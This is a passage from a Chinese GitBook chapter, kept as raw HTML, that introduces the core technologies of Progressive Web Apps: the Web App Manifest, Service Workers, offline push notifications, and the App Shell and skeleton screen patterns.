<ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >1.3 PWA 的核心技术</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#pwa-&#x7684;&#x6838;&#x5FC3;&#x6280;&#x672F;\"><b></b>PWA &#x7684;&#x6838;&#x5FC3;&#x6280;&#x672F;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#web-app-manifest\"><b></b>Web App Manifest</a></li><li><span class=\"title-icon \"></span><a href=\"#service-worker\"><b></b>Service Worker</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x79BB;&#x7EBF;&#x901A;&#x77E5;\"><b></b>&#x79BB;&#x7EBF;&#x901A;&#x77E5;</a></li><li><span class=\"title-icon \"></span><a href=\"#app-shell-&#x548C;&#x9AA8;&#x67B6;&#x5C4F;\"><b></b>App Shell &#x548C;&#x9AA8;&#x67B6;&#x5C4F;</a></li></ul></ul></div><a href=\"#pwa-&#x7684;&#x6838;&#x5FC3;&#x6280;&#x672F;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"pwa-&#x7684;&#x6838;&#x5FC3;&#x6280;&#x672F;\"><a name=\"pwa-&#x7684;&#x6838;&#x5FC3;&#x6280;&#x672F;\" class=\"anchor-navigation-ex-anchor\" href=\"#pwa-&#x7684;&#x6838;&#x5FC3;&#x6280;&#x672F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"pwa-&#x7684;&#x6838;&#x5FC3;&#x6280;&#x672F;\" class=\"plugin-anchor\" href=\"#pwa-&#x7684;&#x6838;&#x5FC3;&#x6280;&#x672F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>PWA &#x7684;&#x6838;&#x5FC3;&#x6280;&#x672F;</h1>\n<p>&#x524D;&#x6587;&#x63D0;&#x5230;&#xFF0C;PWA &#x7684;&#x6838;&#x5FC3;&#x662F;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#xFF0C;&#x80FD;&#x8BA9; PWA &#x8FBE;&#x5230;&#x539F;&#x751F;&#x5E94;&#x7528;&#x7684;&#x4F53;&#x9A8C;&#x5E76;&#x4E0D;&#x4EC5;&#x4EC5;&#x4F9D;&#x8D56;&#x4E8E;&#x67D0;&#x4E00;&#x9879;&#x6280;&#x672F;&#xFF0C;&#x800C;&#x662F;&#x591A;&#x7BA1;&#x9F50;&#x4E0B;&#xFF0C;&#x8FDB;&#x884C;&#x6539;&#x8FDB;&#xFF0C;&#x4ECE;&#x800C;&#x5728;&#x5B89;&#x5168;&#x3001;&#x6027;&#x80FD;&#x548C;&#x4F53;&#x9A8C;&#x4E0A;&#x90FD;&#x83B7;&#x5F97;&#x5F88;&#x5927;&#x7684;&#x63D0;&#x5347;&#x3002;&#x4E0B;&#x9762;&#x5C06;&#x7B80;&#x5355;&#x4ECB;&#x7ECD;&#x51E0;&#x4E2A; PWA &#x5E94;&#x7528;&#x4E2D;&#x7ECF;&#x5E38;&#x4F7F;&#x7528;&#x5230;&#x7684;&#x6280;&#x672F;&#xFF0C;&#x540E;&#x9762;&#x7684;&#x7AE0;&#x8282;&#x4F1A;&#x8FDB;&#x884C;&#x66F4;&#x8BE6;&#x7EC6;&#x7684;&#x8BB2;&#x89E3;&#x3002;</p>\n<h2 id=\"web-app-manifest\"><a name=\"web-app-manifest\" class=\"anchor-navigation-ex-anchor\" href=\"#web-app-manifest\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"web-app-manifest\" class=\"plugin-anchor\" href=\"#web-app-manifest\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Web App Manifest</h2>\n<p>Web App &#x662F;&#x4F9D;&#x9644;&#x4E8E;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#xFF0C;&#x5728;&#x4E00;&#x822C;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x7528;&#x6237;&#x9700;&#x8981;&#x5148;&#x6253;&#x5F00;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x7136;&#x540E;&#x8F93;&#x5165;&#x7F51;&#x5740;&#x6216;&#x70B9;&#x51FB;&#x6536;&#x85CF;&#x7684;&#x4E66;&#x7B7E;&#xFF0C;&#x624D;&#x80FD;&#x591F;&#x8BBF;&#x95EE;&#x5230;&#x7F51;&#x9875;&#x5185;&#x5BB9;&#xFF0C;&#x76F8;&#x6BD4;&#x5728;&#x79FB;&#x52A8;&#x8BBE;&#x5907;&#x4E3B;&#x5C4F;&#x4E0A;&#x62E5;&#x6709;&#x4E00;&#x5E2D;&#x4E4B;&#x5730;&#x7684; Native App&#xFF0C;Web App &#x4F7F;&#x7528;&#x8D77;&#x6765;&#x592A;&#x9EBB;&#x70E6;&#x4E86;&#xFF0C;&#x8FD9;&#x4E5F;&#x662F; Native App &#x76F8;&#x6BD4; Web App &#x7528;&#x6237;&#x9ECF;&#x6027;&#x66F4;&#x597D;&#x7684;&#x539F;&#x56E0;&#x4E4B;&#x4E00;&#x3002;&#x56E0;&#x6B64; Web App &#x4E5F;&#x9700;&#x8981;&#x8FD9;&#x4E2A;&#x80FD;&#x529B;&#xFF0C;Web &#x5E94;&#x7528;&#x6E05;&#x5355;&#xFF08;Web App Manifest&#xFF09;&#x80FD;&#x591F;&#x5E2E;&#x52A9;&#x6211;&#x4EEC;&#x5B9E;&#x73B0;&#x8FD9;&#x4E00;&#x70B9;&#xFF0C;&#x4E5F;&#x662F; PWA &#x6700;&#x6838;&#x5FC3;&#x7684;&#x529F;&#x80FD;&#x4E4B;&#x4E00;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x5B9A;&#x4E49;&#x7528;&#x6237;&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x7684;&#x56FE;&#x6807;&#x3001;&#x5E94;&#x7528;&#x540D;&#x79F0;&#x7B49;&#xFF0C;&#x4E5F;&#x8BB8;&#x6709;&#x4EBA;&#x4F1A;&#x8BF4;&#xFF0C;&#x6709;&#x4E9B;&#x79FB;&#x52A8;&#x8BBE;&#x5907;&#x4E0A;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#x53EF;&#x4EE5;&#x5728;&#x4E3B;&#x5C4F;&#x4E0A;&#x6DFB;&#x52A0;&#x7F51;&#x9875;&#x7684;&#x5FEB;&#x6377;&#x65B9;&#x5F0F;&#xFF0C;&#x4F46;&#x5176;&#x5B9E;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x533A;&#x522B;&#x5F88;&#x5927;&#xFF0C;Web App Manifest &#x5141;&#x8BB8;&#x5F00;&#x53D1;&#x8005;&#x914D;&#x7F6E;&#x9690;&#x85CF;&#x6D4F;&#x89C8;&#x5668;&#x591A;&#x4F59;&#x7684; UI&#xFF08;&#x5730;&#x5740;&#x680F;&#xFF0C;&#x5BFC;&#x822A;&#x680F;&#x7B49;&#xFF09;&#xFF0C;&#x8BA9; PWA &#x5177;&#x6709;&#x548C; Native App &#x4E00;&#x6837;&#x7684;&#x6C89;&#x6D78;&#x5F0F;&#x4F53;&#x9A8C;&#x3002;</p>\n<p>Web App Manifest &#x4F53;&#x73B0;&#x5728;&#x4EE3;&#x7801;&#x4E0A;&#x4E3B;&#x8981;&#x662F;&#x4E00;&#x4E2A; JSON &#x6587;&#x4EF6;&#xFF1A;<code>manifest.json</code>&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x5728;&#x8FD9;&#x4E2A; JSON &#x6587;&#x4EF6;&#x4E2D;&#x914D;&#x7F6E; PWA &#x7684;&#x76F8;&#x5173;&#x4FE1;&#x606F;&#xFF0C;&#x5E94;&#x7528;&#x540D;&#x79F0;&#x3001;&#x56FE;&#x6807;&#x3001;&#x542F;&#x52A8;&#x65B9;&#x5F0F;&#x3001;&#x80CC;&#x666F;&#x989C;&#x8272;&#x3001;&#x4E3B;&#x9898;&#x989C;&#x8272;&#x7B49;&#x7B49;&#x3002;&#x6DFB;&#x52A0;&#x5230;&#x684C;&#x9762;&#x540E;&#xFF0C;PWA &#x5E76;&#x4E0D;&#x662F;&#x4E00;&#x4E2A;&#x5FEB;&#x6377;&#x65B9;&#x5F0F;&#xFF0C;&#x800C;&#x662F;&#x80FD;&#x591F;&#x5728;&#x7CFB;&#x7EDF;&#x4E2D;&#x4F5C;&#x4E3A;&#x4E00;&#x4E2A;&#x72EC;&#x7ACB;&#x7684; App &#x5B58;&#x5728;&#x7684;&#xFF0C;&#x7528;&#x6237;&#x53EF;&#x4EE5;&#x8BBE;&#x7F6E;&#x5B83;&#x7684;&#x6743;&#x9650;&#xFF0C;&#x6E05;&#x9664;&#x5B83;&#x7684;&#x7F13;&#x5B58;&#xFF0C;&#x5C31;&#x548C; Native App &#x4E00;&#x6837;&#x3002;</p>\n<p>&#x6DFB;&#x52A0;&#x4E3B;&#x5C4F;&#x7684;&#x597D;&#x5904;&#x662F;&#x663E;&#x800C;&#x6613;&#x89C1;&#x7684;&#xFF0C;&#x9996;&#x5148;&#x5B83;&#x7F29;&#x77ED;&#x4E86;&#x7528;&#x6237;&#x548C;&#x7AD9;&#x70B9;&#x7684;&#x8DDD;&#x79BB;&#xFF0C;&#x7528;&#x6237;&#x53EF;&#x4EE5;&#x5728;&#x4E3B;&#x5C4F;&#x76F4;&#x8FBE;&#x7AD9;&#x70B9;&#xFF1B;&#x5176;&#x6B21;&#x662F;&#x80FD;&#x591F;&#x8BA9;&#x7F51;&#x7AD9;&#x5177;&#x6709;&#x66F4;&#x52A0;&#x63A5;&#x8FD1; Native App &#x7684;&#x4F53;&#x9A8C;&#xFF0C;&#x5177;&#x6709;&#x542F;&#x52A8;&#x753B;&#x9762;&#x3001;&#x6C89;&#x6D78;&#x5F0F;&#x6D4F;&#x89C8;&#x4F53;&#x9A8C;&#xFF1B;&#x6700;&#x540E;&#xFF0C;PWA &#x4F1A;&#x88AB;&#x7CFB;&#x7EDF;&#x7684;&#x5E94;&#x7528;&#x5546;&#x5E97;&#x6536;&#x5F55;&#xFF0C;&#x76EE;&#x524D;&#x53EA;&#x6709; Windows 10 &#x8FD9;&#x6837;&#x505A;&#x4E86;&#xFF0C;&#x4F46;&#x662F;&#x53EF;&#x4EE5;&#x9884;&#x89C1;&#x5728;&#x4E0D;&#x8FDC;&#x7684;&#x5C06;&#x6765;&#xFF0C;&#x5176;&#x4ED6;&#x7684;&#x4E3B;&#x6D41;&#x5E73;&#x53F0;&#x4E5F;&#x4F1A;&#x8FDB;&#x884C;&#x6536;&#x5F55;&#x3002;</p>\n<h2 id=\"service-worker\"><a name=\"service-worker\" class=\"anchor-navigation-ex-anchor\" href=\"#service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"service-worker\" class=\"plugin-anchor\" href=\"#service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Service Worker</h2>\n<p>&#x5728;&#x524D;&#x6587;&#x4E2D;&#xFF0C;&#x9891;&#x7E41;&#x7684;&#x63D0;&#x53CA; Service Worker &#x662F;&#x56E0;&#x4E3A;&#x5B83;&#x771F;&#x7684;&#x5F88;&#x91CD;&#x8981;&#xFF0C;&#x6BEB;&#x4E0D;&#x5938;&#x5F20;&#x7684;&#x8BF4;&#xFF0C;Service Worker &#x5C31;&#x50CF;&#x4EBA;&#x4F53;&#x4E2D;&#x5FC3;&#x810F;&#x4E00;&#x6837;&#x7684;&#x5B58;&#x5728;&#xFF0C;&#x5982;&#x679C;&#x6CA1;&#x6709;&#x5B83;&#xFF0C;PWA &#x5C31;&#x50CF;&#x6CA1;&#x6709;&#x4E86;&#x52A8;&#x529B;&#xFF0C;&#x65E0;&#x6CD5;&#x5BF8;&#x8FDB;&#x3002;</p>\n<p>Service Worker&#xFF0C;&#x76F4;&#x767D;&#x7684;&#x7FFB;&#x8BD1;&#x5C31;&#x662F;&#x670D;&#x52A1;&#x5DE5;&#x4F5C;&#x7EBF;&#x7A0B;&#xFF0C;&#x4F46;&#x4E00;&#x822C;&#x6211;&#x4EEC;&#x4E0D;&#x4F1A;&#x8FD9;&#x4E48;&#x505A;&#x3002;&#x5B83;&#x662F;&#x6D4F;&#x89C8;&#x5668;&#x5728;&#x540E;&#x7AEF;&#x72EC;&#x7ACB;&#x4E8E;&#x7F51;&#x9875;&#x4E3B;&#x8FDB;&#x7A0B;&#x8FD0;&#x884C;&#x7684;&#x811A;&#x672C;&#xFF0C;&#x5B83;&#x53EF;&#x4EE5;&#x62E6;&#x622A;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#xFF0C;&#x53EF;&#x4EE5;&#x64CD;&#x4F5C;&#x672C;&#x5730;&#x7F13;&#x5B58;&#xFF0C;&#x8FD8;&#x53EF;&#x4EE5;&#x63A5;&#x53D7;&#x670D;&#x52A1;&#x5668;&#x63A8;&#x9001;&#x7684;&#x79BB;&#x7EBF;&#x6D88;&#x606F;&#xFF0C;&#x5B83;&#x7684;&#x529F;&#x80FD;&#x5F88;&#x4E30;&#x5BCC;&#xFF0C;&#x5E76;&#x4E14; Service Worker &#x53EF;&#x6269;&#x5C55;&#x6027;&#x5F88;&#x5F3A;&#xFF0C;&#x60F3;&#x8C61;&#x7A7A;&#x95F4;&#x6BD4;&#x8F83;&#x5927;&#xFF0C;&#x672A;&#x6765; PWA &#x5F88;&#x591A;&#x7684;&#x7279;&#x6027;&#x4F1A;&#x57FA;&#x4E8E; Service Worker &#x6765;&#x8BBE;&#x8BA1;&#xFF0C;&#x8FD9;&#x4E5F;&#x662F;&#x7B14;&#x8005;&#x4E3A;&#x4EC0;&#x4E48;&#x8BF4;&#x5B83;&#x662F; PWA &#x7684;&#x5FC3;&#x810F;&#x3002;</p>\n<p>&#x7B80;&#x5355;&#x5F52;&#x7EB3;&#x4E00;&#x4E0B;&#xFF0C;Service Worker &#x7684;&#x7279;&#x70B9;&#xFF0C;&#x5982;&#x4E0B;&#xFF1A;</p>\n<ul>\n<li>&#x4E00;&#x4E2A;&#x7279;&#x6B8A;&#x7684; worker &#x7EBF;&#x7A0B;&#xFF0C;&#x72EC;&#x7ACB;&#x4E8E;&#x5F53;&#x524D;&#x7F51;&#x9875;&#x4E3B;&#x7EBF;&#x7A0B;&#xFF0C;&#x6709;&#x81EA;&#x5DF1;&#x7684;&#x6267;&#x884C;&#x4E0A;&#x4E0B;&#x6587;</li>\n<li>&#x4E00;&#x65E6;&#x88AB;&#x5B89;&#x88C5;&#xFF0C;&#x5C31;&#x6C38;&#x8FDC;&#x5B58;&#x5728;&#xFF0C;&#x9664;&#x975E;&#x663E;&#x793A;&#x53D6;&#x6D88;&#x6CE8;&#x518C;</li>\n<li>&#x4F7F;&#x7528;&#x5230;&#x7684;&#x65F6;&#x5019;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x81EA;&#x52A8;&#x5524;&#x9192;&#xFF0C;&#x4E0D;&#x7528;&#x7684;&#x65F6;&#x5019;&#x81EA;&#x52A8;&#x4F11;&#x7720;</li>\n<li>&#x53EF;&#x62E6;&#x622A;&#x5E76;&#x4EE3;&#x7406;&#x8BF7;&#x6C42;&#x548C;&#x5904;&#x7406;&#x8FD4;&#x56DE;&#xFF0C;&#x53EF;&#x4EE5;&#x64CD;&#x4F5C;&#x672C;&#x5730;&#x7F13;&#x5B58;&#xFF0C;&#x5982; CacheStorage&#xFF0C;IndexedDB &#x7B49;</li>\n<li>&#x79BB;&#x7EBF;&#x5185;&#x5BB9;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x63A7;</li>\n<li>&#x80FD;&#x63A5;&#x53D7;&#x670D;&#x52A1;&#x5668;&#x63A8;&#x9001;&#x7684;&#x79BB;&#x7EBF;&#x6D88;&#x606F;</li>\n<li>&#x5F02;&#x6B65;&#x5B9E;&#x73B0;&#xFF0C;&#x5185;&#x90E8;&#x63A5;&#x53E3;&#x5F02;&#x6B65;&#x5316;&#x57FA;&#x672C;&#x662F;&#x901A;&#x8FC7; Promise &#x5B9E;&#x73B0;</li>\n<li>&#x4E0D;&#x80FD;&#x76F4;&#x63A5;&#x64CD;&#x4F5C; DOM</li>\n<li>&#x5FC5;&#x987B;&#x5728; HTTPS &#x73AF;&#x5883;&#x4E0B;&#x624D;&#x80FD;&#x5DE5;&#x4F5C;</li>\n</ul>\n<p><img src=\"img/server_browser_service_worker.png\" alt=\"&#x670D;&#x52A1;&#x5668;&#x6D4F;&#x89C8;&#x5668;&#x6865;&#x6881;&#x56FE;\"></p>\n<p>Service Worker &#x5728; PWA &#x4E2D;&#x6700;&#x91CD;&#x8981;&#x7684;&#x529F;&#x80FD;&#x5C31;&#x662F;&#x79BB;&#x7EBF;&#x4E0E;&#x7F13;&#x5B58;&#xFF0C;&#x5728;&#x672C;&#x4E66;&#x7B2C;&#x4E09;&#x7AE0;&#xFF0C;&#x8FD8;&#x4F1A;&#x6709;&#x5F88;&#x591A;&#x7B14;&#x58A8;&#x6765;&#x4ECB;&#x7ECD; Service Worker &#x5982;&#x4F55;&#x5B9E;&#x73B0;&#x7AD9;&#x70B9;&#x79BB;&#x7EBF;&#x3002;</p>\n<h2 id=\"&#x79BB;&#x7EBF;&#x901A;&#x77E5;\"><a name=\"&#x79BB;&#x7EBF;&#x901A;&#x77E5;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x79BB;&#x7EBF;&#x901A;&#x77E5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x79BB;&#x7EBF;&#x901A;&#x77E5;\" class=\"plugin-anchor\" href=\"#&#x79BB;&#x7EBF;&#x901A;&#x77E5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x79BB;&#x7EBF;&#x901A;&#x77E5;</h2>\n<p>Service Worker &#x662F; PWA &#x5F88;&#x591A;&#x529F;&#x80FD;&#x7684;&#x57FA;&#x7840;&#xFF0C;&#x6B63;&#x662F;&#x6709;&#x4E86; Service Worker&#xFF0C;&#x5176;&#x4ED6;&#x529F;&#x80FD;&#x624D;&#x80FD;&#x53D1;&#x6325;&#x66F4;&#x5927;&#x7684;&#x4F5C;&#x7528;&#xFF0C;&#x79BB;&#x7EBF;&#x901A;&#x77E5;&#x5C31;&#x662F;&#x5176;&#x4E2D;&#x4E4B;&#x4E00;&#x3002;</p>\n<p>&#x79BB;&#x7EBF;&#x901A;&#x77E5;&#x662F;&#x6307;&#x5728;&#x7528;&#x6237;&#x6CA1;&#x6709;&#x6253;&#x5F00; PWA &#x7AD9;&#x70B9;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x4E5F;&#x80FD;&#x63A5;&#x53D7;&#x5230;&#x670D;&#x52A1;&#x5668;&#x63A8;&#x9001;&#x8FC7;&#x6765;&#x7684;&#x901A;&#x77E5;&#x5E76;&#x5C55;&#x73B0;&#x7ED9;&#x7528;&#x6237;&#xFF0C;&#x5176;&#x4E2D;&#x5305;&#x62EC;&#x4E86;&#x4E24;&#x90E8;&#x5206;&#xFF0C;&#x79BB;&#x7EBF;&#x63A8;&#x9001;&#x548C;&#x5C55;&#x73B0;&#x901A;&#x77E5;&#xFF0C;&#x5206;&#x522B;&#x662F; Web Push &#x548C; Notification API&#x3002;</p>\n<p>&#x63A8;&#x9001;&#x901A;&#x77E5;&#x662F;&#x4E00;&#x79CD;&#x65F6;&#x6548;&#x6027;&#x975E;&#x5E38;&#x5F3A;&#x7684;&#x4E0E;&#x7528;&#x6237;&#x6C9F;&#x901A;&#x7684;&#x65B9;&#x5F0F;&#xFF0C;&#x5373;&#x4F7F;&#x5728; PWA &#x6CA1;&#x6709;&#x6253;&#x5F00;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x4F9D;&#x7136;&#x53EF;&#x4EE5;&#x89E6;&#x8FBE;&#x7528;&#x6237;&#xFF0C;&#x80FD;&#x591F;&#x7ACB;&#x5373;&#x5F15;&#x8D77;&#x7528;&#x6237;&#x7684;&#x6CE8;&#x610F;&#xFF0C;&#x5BF9;&#x4E8E;&#x4E00;&#x4E9B;&#x7A81;&#x53D1;&#x4E8B;&#x4EF6;&#x3001;&#x9650;&#x65F6;&#x6D3B;&#x52A8;&#x3001;&#x91CD;&#x5927;&#x5347;&#x7EA7;&#x7B49;&#x65F6;&#x6548;&#x6027;&#x8981;&#x6C42;&#x5F88;&#x9AD8;&#x7684;&#x573A;&#x666F;&#xFF0C;&#x63A8;&#x9001;&#x901A;&#x77E5;&#x603B;&#x662F;&#x6700;&#x597D;&#x7684;&#x9009;&#x62E9;&#xFF0C;&#x8FD9;&#x4E5F;&#x662F;&#x8FC7;&#x53BB; Native App &#x5F3A;&#x4E8E; Web App &#x7684;&#x539F;&#x56E0;&#x4E4B;&#x4E00;&#x3002;&#x56E0;&#x6B64; PWA &#x63D0;&#x4F9B;&#x4E86; Web Push &#x548C; Notification API &#x8865;&#x5168;&#x4E86;&#x8FD9;&#x4E00;&#x529F;&#x80FD;&#x3002;</p>\n<p>&#x6D4F;&#x89C8;&#x5668;&#x5728;&#x63A5;&#x53D7;&#x5230;&#x5BF9;&#x5E94;&#x7684;&#x6D88;&#x606F;&#x670D;&#x52A1;&#x4E2D;&#x5FC3;&#x63A8;&#x9001;&#x8FC7;&#x6765;&#x7684;&#x79BB;&#x7EBF;&#x6D88;&#x606F;&#x65F6;&#xFF0C;&#x4F1A;&#x5524;&#x9192;&#x5BF9;&#x5E94;&#x7AD9;&#x70B9;&#x6CE8;&#x518C;&#x7684; Service Worker&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x5728; Service Worker &#x6587;&#x4EF6;&#x4E2D;&#x5904;&#x7406;&#x63A5;&#x53D7;&#x5230;&#x7684;&#x8BF7;&#x6C42;&#xFF0C;&#x663E;&#x793A;&#x901A;&#x77E5;&#x3002;</p>\n<p>Web Push &#x548C; Notification API &#x5728;&#x540E;&#x9762;&#x7684;&#x7AE0;&#x8282;&#x4E5F;&#x4F1A;&#x91CD;&#x70B9;&#x4ECB;&#x7ECD;&#x3002;</p>\n<h2 id=\"app-shell-&#x548C;&#x9AA8;&#x67B6;&#x5C4F;\"><a name=\"app-shell-&#x548C;&#x9AA8;&#x67B6;&#x5C4F;\" class=\"anchor-navigation-ex-anchor\" href=\"#app-shell-&#x548C;&#x9AA8;&#x67B6;&#x5C4F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"app-shell-&#x548C;&#x9AA8;&#x67B6;&#x5C4F;\" class=\"plugin-anchor\" href=\"#app-shell-&#x548C;&#x9AA8;&#x67B6;&#x5C4F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>App Shell &#x548C;&#x9AA8;&#x67B6;&#x5C4F;</h2>\n<p>App Shell &#x662F; PWA &#x5F3A;&#x8C03;&#x7684;&#x4E00;&#x4E2A;&#x975E;&#x5E38;&#x91CD;&#x8981;&#x7684;&#x8BBE;&#x8BA1;&#x7406;&#x5FF5;&#xFF0C;&#x5B83;&#x80FD;&#x591F;&#x7F29;&#x77ED;&#x7528;&#x6237;&#x8FDB;&#x5165;&#x9875;&#x9762;&#x65F6;&#x7684;&#x767D;&#x5C4F;&#x65F6;&#x95F4;&#xFF0C;&#x8BA9;&#x7528;&#x6237;&#x4E00;&#x8FDB;&#x5165; PWA &#x5C31;&#x80FD;&#x5FEB;&#x901F;&#x770B;&#x5230; PWA &#x7684;&#x6574;&#x4F53;&#x6846;&#x67B6;&#xFF0C;&#x5C31;&#x548C; Native App &#x4E00;&#x6837;&#x3002;&#x4ECE;&#x6982;&#x5FF5;&#x4E0A;&#x8BB2;&#xFF0C;App Shell &#x662F; PWA &#x754C;&#x9762;&#x5C55;&#x793A;&#x6240;&#x9700;&#x7684;&#x6700;&#x5C0F;&#x8D44;&#x6E90;&#x96C6;&#x5408;&#xFF0C;&#x5373;&#x8BA9;&#x9875;&#x9762;&#x80FD;&#x591F;&#x6B63;&#x5E38;&#x8FD0;&#x884C;&#x8D77;&#x6765;&#x7684;&#x6700;&#x5C0F;&#x7684; HTML&#x3001;CSS &#x548C; JavaScript &#x7B49;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x96C6;&#xFF0C;&#x6BCF;&#x4E2A;&#x9875;&#x9762;&#x90FD;&#x9700;&#x8981;&#x52A0;&#x8F7D;&#x8FD9;&#x4E00;&#x90E8;&#x5206;&#x8D44;&#x6E90;&#x3002;&#x5229;&#x7528; Service Worker &#x628A;&#x8FD9;&#x90E8;&#x5206;&#x8D44;&#x6E90;&#x7F13;&#x5B58;&#x5728;&#x672C;&#x5730;&#xFF0C;&#x5C31;&#x80FD;&#x591F;&#x5728;&#x6253;&#x5F00; PWA &#x65F6;&#x4E0D;&#x9700;&#x8981;&#x4ECE;&#x670D;&#x52A1;&#x5668;&#x7AEF;&#x83B7;&#x53D6;&#x8FD9;&#x90E8;&#x5206;&#x8D44;&#x6E90;&#xFF0C;&#x4ECE;&#x800C;&#x80FD;&#x591F;&#x77AC;&#x95F4;&#x6E32;&#x67D3;&#x51FA;&#x9875;&#x9762;&#x6846;&#x67B6;&#xFF0C;&#x4E0D;&#x4EC5;&#x63D0;&#x5347;&#x4E86;&#x9996;&#x5C4F;&#x7684;&#x901F;&#x5EA6;&#xFF0C;&#x8FD8;&#x51CF;&#x5C0F;&#x4E86;&#x7AD9;&#x70B9;&#x6D41;&#x91CF;&#x7684;&#x6D88;&#x8017;&#x3002;</p>\n<p>&#x9AA8;&#x67B6;&#x5C4F;&#xFF08;App Skeleton&#xFF09;&#xFF0C;&#x4E5F;&#x662F;&#x63D0;&#x5347;&#x9996;&#x5C4F;&#x4F53;&#x9A8C;&#x7684;&#x6709;&#x6548;&#x65B9;&#x5F0F;&#x3002;&#x5B83;&#x7684;&#x539F;&#x7406;&#x662F;&#x5728;&#x771F;&#x5B9E;&#x5185;&#x5BB9;&#x6E32;&#x67D3;&#x5B8C;&#x6210;&#x4E4B;&#x524D;&#xFF0C;&#x4F7F;&#x7528;&#x4E00;&#x4E9B;&#x80FD;&#x591F;&#x5FEB;&#x901F;&#x6E32;&#x67D3;&#x7684;&#x9759;&#x6001;&#x56FE;&#x7247;/&#x6837;&#x5F0F;/&#x8272;&#x5757;/&#x90E8;&#x5206;&#x771F;&#x5B9E;&#x5185;&#x5BB9;&#x8FDB;&#x884C;&#x5360;&#x4F4D;&#xFF0C;&#x8BA9;&#x7528;&#x6237;&#x5BF9;&#x771F;&#x5B9E;&#x5185;&#x5BB9;&#x533A;&#x57DF;&#x6709;&#x5FC3;&#x7406;&#x9884;&#x671F;&#x3002;App Shell &#x548C;&#x9AA8;&#x67B6;&#x5C4F;&#x90FD;&#x662F;&#x63D0;&#x5347;&#x9996;&#x5C4F;&#x4F53;&#x9A8C;&#x7684;&#x7EDD;&#x597D;&#x5999;&#x62DB;&#x3002;</p>\n<p>App Shell &#x548C;&#x9AA8;&#x67B6;&#x5C4F;&#x76F8;&#x8F85;&#x76F8;&#x6210;&#xFF0C;App Shell 